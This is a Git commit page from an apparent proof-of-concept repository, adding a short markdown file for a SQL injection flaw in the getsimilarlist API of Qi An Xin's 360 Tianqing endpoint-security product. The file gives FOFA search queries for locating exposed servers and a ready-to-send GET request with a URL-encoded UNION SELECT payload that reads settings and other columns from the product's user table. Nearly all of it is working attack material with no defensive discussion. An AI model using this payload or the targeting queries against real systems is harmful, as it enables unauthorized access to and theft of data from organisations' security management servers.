admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 奇安信360天擎getsimilarlistSQL注入漏洞.md

Browse Source
This commit is contained in:
wy876 2023-11-08 19:47:36 +08:00 committed by GitHub
parent faabd7bb03
commit 198374821c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
奇安信360天擎getsimilarlistSQL注入漏洞.md Normal file
View File

@ -0,0 +1,13 @@
## 奇安信360天擎getsimilarlistSQL注入漏洞
## fofa
```
body="/task/index/detail?id={item.id}"
title="360新天擎"
```
## POC
```
GET /api/client/getsimilarlist?status[0,1%29+union+all+select+%28%2F%2A%2150000select%2A%2F+79787337%29%2C+setting%2C+setting%2C+status%2C+name%2C+create_time+from+%22user%22+where+1+in+%281]=1&status[0]=1 HTTP/1.1
```